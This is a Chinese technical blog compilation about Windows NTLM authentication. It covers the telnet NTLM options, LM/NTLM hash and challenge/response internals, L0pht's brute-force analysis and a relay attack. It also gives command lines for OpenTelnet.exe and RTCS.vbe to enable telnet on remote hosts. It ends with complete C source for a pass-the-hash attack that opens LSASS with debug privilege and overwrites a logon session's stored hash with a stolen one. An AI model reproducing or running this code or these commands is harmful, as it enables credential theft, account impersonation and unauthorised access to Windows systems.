NTLM

NTLM:

  • 基本知识

telnet的一种验证身份方式,即Windows NT LAN Manager (NTLM);
NTLM 是为没有加入到域中的计算机(如独立服务器和工作组)提供的身份验证协议;
基于一种“提问 - 答复”机制来进行客户端验证;
使用http状态码和http头;

  • 工作流程

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输   C ---> S  GET...
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
C <--- S  401 Unauthorized
WWW-???Authenticate: NTLM
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
C ---> S  GET...
Authorization: NTLM <base64-encoded type-1-message>
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。

  • 验证选项

NTLM身份验证选项有三个值。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。

  • 编辑选项

对NTLM身份验证选项值的改变可以使用Win2000为我们提供Telnet服务器管理程序tlntadmn.exe;其实Win2000同时为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),及Telnet服务器管理程序tlntadmn.exe。若我们不需要NTLM身份验证可以按以下步骤设置:
1、单击“开始”—>“运行“,键入tlntadmn,然后确定
2、在弹出的选项中选择Display,再选择Change Registry Settings。
3、选择NTLM。
4、改变NTLM值为0不使用NTML身份验证
5、重新启动Telnet服务器。
其实也可以使用tlntadmn.exe对Telnet服务的其他默认设置来进行配置,配置后需要重新启动Telnet服务。
AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0:不允许域用户访问(只允许本地用户)。
DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。
DefaultShell:显示shell安装的路径位置。默认值是:%systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。
LoginScript:显示Telnet服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。
TelnetPort:显示telnet服务器侦听telnet请求的端口。默认是:23。你也可以更改为其他端口。

  • 突破NTLM

常见的有以下几种方法:
1、通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2、使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3、在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4、使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5、使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)
基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe

  • 实验

1.打开一台window2000虚拟机,

2.开始运行,tlntadmn,选择Display/Change Registry Settings,选择NTLM。

3.可查看到当前值为2;使用机器telent ip(打开telnet可以使用services.msc手动开启),提示”您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要送吗“

NTLM选项为2

4.更改NTLM的值,依次登陆

 

NTLM认证

NTLM是一个微软专用协议,它基于挑战/响应模型认证用户和计算机。NTLM(NT LanMan)是所有Windows NT系列产品都使用的认证方式。与它的前任LanMan相似,NTLM使用挑战/响应模型来证实客户端的身份,而不需要在网络上发送口令或散列的口令。NTLM认证具有下述特点:
 
NTLM认证是微软专用的NT LAN Manager认证,它只适用于Microsoft Internet Explorer。

集成的Windows认证的工作方式与消息摘要认证相同。

在认证过程开始时,用户的系统(客户端)向telnet服务器发送一条登录请求,服务器使用随机生成的“令牌”(挑战值)应答客户端。客户端使用挑战值散列当前登录用户加密保护的口令,并把散列结果发送给服务器。

服务器收到挑战散列的响应之后,将它与已知的正确响应相比较。如果两者匹配,那么用户成功得到认证。但是,这种做法并不安全,NTLM散列值能够被暴力破解。

为了解决NTLM版本1中的问题,微软引入了NTLM版本2,并提倡尽可能地使用这个版本。表8-1列出了这三种认证方法的特性。

表8-1  三种认证方法的特性对比

认证方法

   

LM

NTLM版本1

NTLM版本2

口令区分大小写

散列密钥长度

56 + 56

-

-

口令散列算法

DESECB模式)

MD4

MD4

散列值长度

64+ 64

128

128

C/R密钥长度

56 + 56+ 16

56 + 56+ 16

128

C/R算法

DESECB模式)

DESECB模式)

HMAC_MD5

C/R值长度

64+ 64+ 64

64+ 64+ 64

128

说明:C/R= Challenge/Response

 

 

☆ 概述

早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response" 验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响 应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。

微软承认LM Hash的固有特性极大损害了安全性,但他们认为这是最初设计者IBM之过。

☆ 挑战/响应模式

使用明文口令模式时,网络上传输的就是明文口令本身,这很容易被Sniffer捕获。 挑战/响应模式的企图不泄露明文口令本身就能证明客户机确实拥有正确的口令:

1. 服务器随机产生一个8字节的挑战,送往客户机。

2. 服务器、客户机各自使用源自明文口令的DESKEY分别对8字节挑战进行加密。客户 机将计算结果送往服务器,这就是所谓响应(分成三组,总共24字节)。

response = DES( key derived from plaintext password, challenge )

这里使用的就是标准DES算法。任何知道key的人都可以将reponse解密,从而获取 challenge。

3. 如果响应与服务器的计算结果匹配,服务器认为客户机拥有正确的明文口令。

☆ L0pht文档

1997年7月12日,L0pht的Mudge <mudge@l0pht.com>对外发布了一份关于SMB通信中身 份验证的文档(参考资源[1])。

+----------------------------+ | 14bytes Plaintext Password | +----------------------------+

+--------------------------------------------------------------------------+ | first 7bytes of Plaintext Password | second 7bytes of Plaintext Password | +--------------------------------------------------------------------------+

+-----------------+ | 16bytes LM Hash | +-----------------+

+----------------------------------------------------+ | first 8bytes of LM Hash | second 8bytes of LM Hash | +----------------------------------------------------+

+-------------------------+ | 16bytes NTLM Hash (MD4) | +-------------------------+

+------------------+ | 8bytes Challenge | +------------------+

+------------------+ | 24bytes Response | +------------------+

LM Hash的前8字节源自对明文口令前7字节的运算,LM Hash的后8字节源自对明文口 令后7字节的运算。如果明文口令最多7字节,则第二部分LM Hash总是"AA D3 B4 35 B5 14 04 EE"(以后解释这里)。比如以"WELCOME"做为明文口令,则对应的LM Hash是 "C23413A8A1E7665FAAD3B435B51404EE"。

假设服务器B向客户机A发送了一个8字节挑战"0001020304050607"

Server B -- 8bytes Challenge --> Client A

A现在有LM Hash,C23413A8A1E7665FAAD3B435B51404EE,在其后增加5个0x00变成 "C23413A8A1E7665FAAD3B435B51404EE0000000000",然后划分成三组,每组7字节

+----------------+----------------+----------------+ | C23413A8A1E766 | 5FAAD3B435B514 | 04EE0000000000 | +----------------+----------------+----------------+

每组7字节做为形参传递给str_to_key()函数,最终得到三组DESKEY,每组8字节

+--------------------------------------------------------+ | 8bytes DESKEY1 | 8bytes DESKEY2 | 8bytes DESKEY3 | +------------------+------------------+------------------+ | C21A04748A0E9CCC | 5ED4B47642ACD428 | 0476800000000000 | +--------------------------------------------------------+

分别用三组DESKEY对8字节挑战"0001020304050607"进行标准DES加密后得到

C21A04748A0E9CCC -对0001020304050607进行标准DES加密-> CA1200723C41D577 5ED4B47642ACD428 -对0001020304050607进行标准DES加密-> AB18C764C6DEF34F 0476800000000000 -对0001020304050607进行标准DES加密-> A61BFA0671EA5FC8

最终获得一个24字节响应"CA1200723C41D577AB18C764C6DEF34FA61BFA0671EA5FC8", 送往服务器B。在服务器B上进行同样的计算,并将计算结果与来自A的响应进行比较, 如果匹配则身份验证通过。

考虑明文口令不超过7字节的情况。

首先检查明文口令是否少于8字节。用str_to_key()函数处理"04EE0000000000",得 到8字节的DESKEY,"0476800000000000",用它对挑战"0001020304050607"进行标准 DES加密,如果结果与网络上传输的"A61BFA0671EA5FC8"相符,明文口令很可能少于8 字节,当然不能绝对肯定。

接下来用str_to_key()函数处理"??AAD3B435B514",得到8字节DESKEY,用它对挑战 进行标准DES加密,如果与网络上传输的"AB18C764C6DEF34F"相符,则找到匹配,此 时我们可以绝对肯定明文口令少于8字节。这里"??"由循环产生,穷举256种可能。

由于LM Hash的一些固有特性,穷举运算量已大幅下降。

考虑明文口令为8字节或更多,假设最后的LM Hash如下

+----------------+----------------+----------------+ | C23413A8A1E766 | AC435F2DD90417 | CCD60000000000 | +----------------+----------------+----------------+

首先检查明文口令是否少于8字节。用str_to_key()函数处理"04EE0000000000",得 到8字节的DESKEY,"0476800000000000",用它对挑战进行标准DES加密,如果结果与 网络上传输的内容不相符,明文口令必然大于等于8字节。

接下来用str_to_key()函数处理"????0000000000",得到8字节DESKEY,用它对挑战 进行标准DES加密,如果与网络上传输的内容相符,则找到匹配。这里"????"由循环 产生,穷举65536种可能。

上面实际在介绍如何根据Challenge/Response暴力破解获取LM Hash。

即使到了NT4 SP3,DES LM Hash Response还是与DES NTLM Hash Response一起发送, 这种情况下NTLM Hash强度再高也是没有意义的。

如果禁用DES LM Hash Response,Windows 95无法与NT进行正常的SMB通信。

如果你所使用的Windows系统支持口令超过14字节,就尽量使用超过14字节的口令。

☆ Windows NT身份验证机制的脆弱性

1997年2月6日,Dominique Brezinski <dominique.brezinski@CyberSafe.COM>对外 发布了一份关于Windows NT身份验证机制脆弱性的文档(参考资源[8])。

假设有主机B与A

(1) A向B发起连接请求

(2) B向A发送挑战(一组随机数据)

(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B

(4) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进 行标准DES加密

(5) 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B

现在假设一个攻击者C卷入其中

(1) C向B发起连接请求

(2) B向C发送挑战D(一组随机数据)

(3) C等待A向B发起连接请求

(4) 当A向B发起连接请求时,C伪造成B向A发送挑战D

(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B

(6) C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A

(7) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES 加密

(8) 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B

下面我们详细分析一下这个过程。攻击者C卷入A与B的通信中,C向B建立NBT会话并发 送SMB_COM_NEGOTIATE(0x72)请求报文,指定使用"NT LM 0.12" dialect。在用户级 共享(与之相对的是共享级共享)中"NT LM 0.12"是首选SMB dialect。B将在响应报文 的encryption key(其实应该叫Challenge)字段中返回8字节的挑战。C保存这8字节的 挑战并开始等待,如果B因为超时终止了这次连接,C必须重复前面的步骤。当A试图 连接B时,也会建立NBT会话并发送SMB_COM_NEGOTIATE(0x72)请求报文,就dialect进 行协商。一般最终协商结果都是使用"NT LM 0.12"

在很多时候,我们获得密码散列之后你会怎么办?大多数的人会选择使用如LC4这样的工具进行散列的解密,这样就是依靠对方口令的复杂性不够复杂,如果遇见复杂的口令,又如何利用散列呢?    通过SMB认证协议我们知道,认证是散列加密的,所以知道散列是能够获得认证的,但是麻烦在于系统本身提供的SMB调用很少,要实现散列认证就不仅仅需要知道散列加密的认证算法,而且要自己完全实现SMB协议和其包含的RPC协议(以我目前的研究我也还只能实现文件读写操作),这很困难,如果需要用到所有的可能SMB的功能就需要很大的工作量。SMBPROXY就是通过SMB协议中的散列加密方式和代理来实现的。有没有其他更好,更简单的途径呢?答案是有的:    那么另2种想法就是:    1。创建一个使用此散列的同名用户,但你不知道其散列无法使用口令登陆。当然如果你能以超级用户用RUNAS等启动这个用户权限运行的进程 ,然后使用AcquireCredentialsHandleW传送此用户的令牌,也可以,但是显然MS考虑到这个问题,即使用特权用户用RUNAS或服务启动其他用户权限的进程都必须首先输入明文口令才允许运行。    2。制造一个假的带知道自己散列的凭证    那么我们首先介绍一下NET USE成功以后创建凭证和再次认证的过程:     对于输入口令,则通过调用LPCAPILOG将这个认证记录,包含主机地址,用户名,和明文口令,当再次认证(SMB是基于SOCKET口认证的,当需要一个新的SOCKET连接的时候都会重认证,只是这过程是系统自动完成的,你自己感觉不到而已,这也是SMB协议认证工具必须使用依靠自己解析完整的 SMB的原因所在,无法创建凭证其他程序就无法使用已经认证的端口)就从这当中读取明文口令再计算成散列,进行认证,要制造一个假的凭证看来我们就必须知道明文口令。    在MS的严密设计下,看来我们无路可走了,但是我们再考虑一下系统用户认证的方式呢?    系统用户认证的时候,是直接读取散列进行加密处理的,具体的处理程序是在LSASS进程中LsapGetPackageCredentials函数负责。    那么一个想法是修改自己用户的SAM中的散列,但是发现口令散列的修改只到下一次登陆后才能起作用,可见系统在登陆以后就把散列信息都读出到内存中。     但是联想到我们系统连接一个远程机器的时候,会自动先使用这个用户的散列连接,这个散列从那里而来呢,他就在LSASS进程中的一个SESSION表中,那么我们想法修改内存中放置系统用户的SESSION表又如何呢?呵呵,这样就能实现我们既可以完全利用密码散列的系统所有功能了。    方法如下:    创建一个和你知道散列用户同名的用户,设置成特权用户,口令随便      以该用户登陆,运行一个程序修改系统内存中的SESSION表对应用户的散列      然后就可以直接使用远程IP地址和这个用户连接了,如直接输入IP地址到地址栏读取对方文件等。    那么首先需要讲解一下LSASS中SESSION表的存放结构,我的环境是中文简体W2K+SP3    在LSASS进程地址的0X785AFEF8变量中存放LogonSessionTable的地址    这个地址是指向一张SESSION表,每个表占用0X34个字节,    每个项的偏移0X10是一个指针,指向一个结构,这个结构的偏移0X10又是一个指针,指向另一个结构,这个结构的偏移0X38又是一个指针,指向又一个结构(很拗口啊),这个结构的偏移0X8又是一个指针,指向另一个结构,这个结构的偏移0X10又是一个指针,指向真正的用户凭证的SESSION信息,这个信息结构如下: { WORD 主机名长度 WORD 主机名长度(带,STR结尾) DWORD 主机名开始偏移 WORD 用户名长度 WORD 用户名长度(带,STR结尾) DWORD 用户名开始偏移 BYTE 散列[0X20] 偏移地址开始 WSTR 主机名 WSTR 用户名 } 我们修改这个结构中的散列成我们获取的散列,系统SMB认证的时候就会读取这个散列的信息,剩下就。。。。。 代码演示: # include <windows.h> # include <wincrypt.h> #define SECURITY_WIN32 # include <Security.h> # include <Ntsecapi.h> #include <stdio.h> #include <stdlib.h> TOKEN_STATISTICS ts; CredHandle phc; CtxtHandle cthc; SECURITY_STATUS  ss; void client1(); void ChangePrivilege(HANDLE pmy,char * PrivilegeVal) {    int isok;    TOKEN_PRIVILEGES NewState;    HANDLE hToken;    NewState.PrivilegeCount=1;    NewState.Privileges[0].Attributes=2;    NewState.Privileges[0].Luid.HighPart=0;    NewState.Privileges[0].Luid.LowPart=0;    isok=LookupPrivilegeValue(0,PrivilegeVal,&NewState.Privileges[0].Luid);    isok=OpenProcessToken(pmy,0x20,&hToken);    isok=AdjustTokenPrivileges(hToken,0,&NewState,0x10,0,0);    CloseHandle(hToken); } void main(int argc,char * argv[]) {    DWORD ret;    HANDLE pmy;    HANDLE p1;    DWORD wtn;    int err;    DWORD saddr,saddr1;    int offset;    int i,j,len;    unsigned char buf[0x1000];    unsigned char buf1[0x100];    unsigned char passwdhash[]={      0xf9,0x8d,0x8e,0x5e,0x22,0xf9,0xe2,0x5e,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xEe,      0x12,0x22,0x73,0x58,0xdd,0x70,0x13,0xc7,0xdb,0xdb,0xd8,0xfd,0xcc,0x0c,0x66,0x68      };    //wchar_t username[]=L"Administrator";    wchar_t myname[]=L"Administrator";    //int tlen=0x1A;    int ulen=0x1a;    client1();    pmy = GetCurrentProcess();    ChangePrivilege(pmy,SE_DEBUG_NAME);    p1=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE,FALSE,252);    ret = DebugActiveProcess(252);    if(ret==0)    {      ret = GetLastError;      printf("don't access process:%d/n",ret);      return;    }    ret = ReadProcessMemory(p1,(PVOID)0X785AFEF8,buf,0x4,&wtn);      if(ret==0xc0000005)    {      printf("read memory fail/n");      return;    }    saddr=*(DWORD *)buf;//这里存放的就是所有SESSION的地址    //寻找自己的SESSION信息    ret = ReadProcessMemory(p1,(PVOID)saddr,buf,0x1000,&wtn);      for(i=0;i<0x4e;i++)  //每个SESSION结构占0X34大小,0X1000可以有0X4E个    {      saddr1=*(DWORD *)(buf+0x34*i+0x10);      if(saddr1>0)      {        ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x14,&wtn);          if(ret!=0xc0000005)        {          saddr1=*(DWORD *)(buf1+0x10);          if(saddr1>0)          {            ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x40,&wtn);              if(ret!=0xc0000005)            {              saddr1=*(DWORD *)(buf1+0x38);              if(saddr1>0)              {                ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0xc,&wtn);                  if(ret!=0xc0000005)                {                  saddr1=*(DWORD *)(buf1+0x8);                  if(saddr1>0)                  {                    ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x14,&wtn);                    if(ret!=0xc0000005)                    {                      saddr1=*(DWORD *)(buf1+0x10);                      if(saddr1>0)  //这个地址才是真的散列存放的地址                      {                        ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x100,&wtn);                        //验证一下此ID等于自己的ID                        err=0;                        if(ret!=0xc0000005)                        {                          len=*(short *)(buf1+8);                          offset=*(short *)(buf1+0xc);                          if(len==ulen)                          {                            /*for(j=0;j<ulen/2;j++)                            {                              if(myname[j]!=buf1[offset+2*j]+buf1[offset+2*j+1]*256)                              {                                err=1;                                break;                              }                            }*/                            if(err==0)                            {                              memcpy(buf1+0x10,passwdhash+0x10,0x10);                              memcpy(buf1+0x20,passwdhash,0x10);                              //*(short *)(buf1+8)=tlen;                              //*(short *)(buf1+0xa)=tlen+2;                              //memcpy(buf1+offset,username,tlen+2);                              ret = WriteProcessMemory(p1,(PVOID)saddr1,buf1,0x100,&wtn);                                if(ret==0xc0000005)                              {                                printf("write memory fail/n");                              }                              ret = ReadProcessMemory(p1,(PVOID)saddr1,buf1,0x100,&wtn);                            }                            break;                          }                        }                      }                    }                  }                }              }            }          }        }      }    }    CloseHandle(p1); //  DebugSetProcessKillOnExit(FALSE); //  ret = DebugActiveProcessStop(atoi(argv[1]));    return; } void client1() {    LUID LogonID;    HANDLE tk;    char buf1[0x200];    TimeStamp Lifetime;    DWORD ContextAttributes;    DWORD rlen;         SecBufferDesc   OutBuffDesc;    SecBufferDesc   InBuffDesc;    SecBuffer     InSecBuff;    SecBuffer     OutSecBuff;    LogonID.HighPart =0;    LogonID.LowPart = 0x7d80;    //输入的口令在此需要CRT    //自动的则不需要    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tk);    GetTokenInformation(tk,TokenStatistics,&ts,sizeof(ts),&rlen);    ss=AcquireCredentialsHandleW      (NULL,L"Negotiate",SECPKG_CRED_OUTBOUND,&ts.AuthenticationId,NULL,NULL,NULL,&phc,&Lifetime);    //LOGIN会影响生成    InBuffDesc.ulVersion = 0;    InBuffDesc.cBuffers = 1;    InBuffDesc.pBuffers = &InSecBuff;    InSecBuff.BufferType =SECBUFFER_TOKEN;    InSecBuff.cbBuffer =0;    InSecBuff.pvBuffer = buf1;    OutBuffDesc.ulVersion = 0;    OutBuffDesc.cBuffers = 1;    OutBuffDesc.pBuffers = &OutSecBuff;    OutSecBuff.BufferType = SECBUFFER_TOKEN;    OutSecBuff.cbBuffer =0x404c;    OutSecBuff.pvBuffer = buf1;    ss=InitializeSecurityContextW(        &phc,        NULL,        L"HOST/TEST",        ASC_REQ_MUTUAL_AUTH|ASC_REQ_DELEGATE|ASC_REQ_STREAM|ASC_REQ_ALLOW_NON_USER_LOGONS,//0x210003        0,        SECURITY_NATIVE_DREP,        &InBuffDesc,        0,        &cthc,        &OutBuffDesc,        &ContextAttributes,        &Lifetime        ); } 此种方法的优点: 1。主要是依据系统使用当前用户认证的系统机理而不是靠SMB协议的机理,这样可以完全实现所有的系统功能,如果是SMB协议实现的话由于SMB的认证是基于SOCKET口的,凭证创建需要明文口令,无法使其他系统程序如带PRC调用的程序使用此认证,只有依靠实现此认证的程序实现,除非实现一个完全的SMB协议客户端,功能受限制 2。无须各种代理,简单容易实现,也很安全,也不受任何对方关闭认证协议的限制,系统自动完成这些。 通用化的考虑,但是毕竟这个0X785AFEF8可能随系统版本不同而不同,但这些信息是存放在堆中的,可以读取LSASS的内存信息,然后搜索这些内存中你现在口令的散列方式来实现通用化,就不再详细解说了。

 

http://blog.csdn.net/fanwenbo/article/details/2645279

http://blog.csdn.net/fanwenbo/article/details/2645274

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值